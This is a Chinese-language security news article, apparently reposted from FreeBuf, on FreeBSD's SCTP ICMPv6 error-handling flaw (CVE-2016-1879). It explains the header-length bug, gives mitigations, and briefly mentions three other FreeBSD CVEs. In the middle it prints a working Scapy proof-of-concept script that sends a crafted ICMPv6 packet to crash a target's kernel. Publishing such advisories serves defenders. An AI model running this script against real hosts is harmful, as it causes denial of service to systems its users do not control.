信息來源:FreeBuf
FreeBSD團隊宣布他們的操作系統(tǒng)存在嚴重的漏洞,黑客可以利用這個漏洞進行DoS(拒絕服務)攻擊,提權或竊取系統(tǒng)敏感信息。
SCTP ICMPv6錯誤處理漏洞 (CVE-2016-1879)
SCTP (流控制傳輸協(xié)議)是一種傳輸層協(xié)議,它可以用來在IP環(huán)境中傳輸信號。通常,移動運營商會在技術網(wǎng)絡中使用這個協(xié)議。
這個漏洞影響了FreeBSD系統(tǒng)的數(shù)個版本(9.3、10.1、10.2),如果它們支持SCTP和IPV6就會中招(這其實是系統(tǒng)默認配置)。黑客利用這個漏洞,需要發(fā)送一個精心構造的ICMPv6消息。如果漏洞利用成功,就可以對系統(tǒng)進行DoS攻擊。
DoS攻擊是由于系統(tǒng)對來自ICMPv6的錯誤消息,并沒有仔細檢查其中SCTP包頭部的長度。如果目標接收者不存在,路由會生成一個錯誤信息,通過ICMPv6反饋給發(fā)送人。
該ICMPv6包括原始的IPv6包,其中的Next Header區(qū)域會顯示SCTP是如何封裝的:
在系統(tǒng)內(nèi)核接收了通過ICMPv6發(fā)送來的錯誤消息時,它會將上層協(xié)議包傳輸?shù)奖匾慕馕銎鱯ctp6_ctlinput()里。SCTP解析器將傳入的頭部誤認為是合法長度,然后會試圖用m_copydata()將它copy,里面存有偏移值和字節(jié)數(shù)值。本來系統(tǒng)預計消息的頭部長度是12個字節(jié),但是黑客可能就給它發(fā)送了一個長為11字節(jié)的頭部,最后空指針的引用就導致了內(nèi)核崩潰。
漏洞利用代碼
利用這個漏洞時,我們并不需要開放的SCTP套接字。神奇的Scapy會幫助我們,創(chuàng)建漏洞利用所需的ICMPv6數(shù)據(jù)包(這里編輯器代碼排版縮進如下,有需求請自行調(diào)整):
import argparse from scapy.all import *
def get_args(): parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()
if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()
return options
if __name__ == '__main__':
options = get_args()
sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)
下面是攻擊演示的視頻:
修復和安全建議
為了保護您的系統(tǒng)不受該漏洞的侵害,我們建議您這么做:
如果不需要IPv6,請將其禁用。
在防火墻禁用ICMPv6或者IPv6流量。
如果用不上的話,請禁用系統(tǒng)內(nèi)核對SCTP堆棧的支持(需要重新編譯內(nèi)核)。
修復漏洞,您可以使用供應商的補丁,安裝對SCTP ICMPv6消息的額外校驗,這里也需要重新編譯內(nèi)核。
其他漏洞相關
此外,F(xiàn)reeBSD系統(tǒng)還爆出了其他嚴重漏洞,官方開發(fā)人員為它們發(fā)布了補丁。
1.存在這么一個漏洞,如果系統(tǒng)啟用了TCP_MD5SIG和TCP_NOOPT,黑客通過TCP連接可以對系統(tǒng)進行DoS攻擊。他們只需要某個TCP_NOOPT啟用的監(jiān)聽套接字,就能利用這個漏洞(CVE-2016-1882補丁)。
2.Linux下Robust Futex錯誤,會導致系統(tǒng)內(nèi)存數(shù)據(jù)泄露(CVE-2016-1880補丁)。
3.不安全的默認配置,導致了黑客可以訪問守護進程配置文件/etc/bsnmpd.conf(CVE-2015-5677補丁)。
為了保護您的系統(tǒng)不受漏洞侵害,強烈建議您在進行安全配置之后再使用IPv6地址,并安裝好相應的安全工具來保護系統(tǒng)安全。
*參考來源:PTsec,F(xiàn)B小編dawner編譯,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)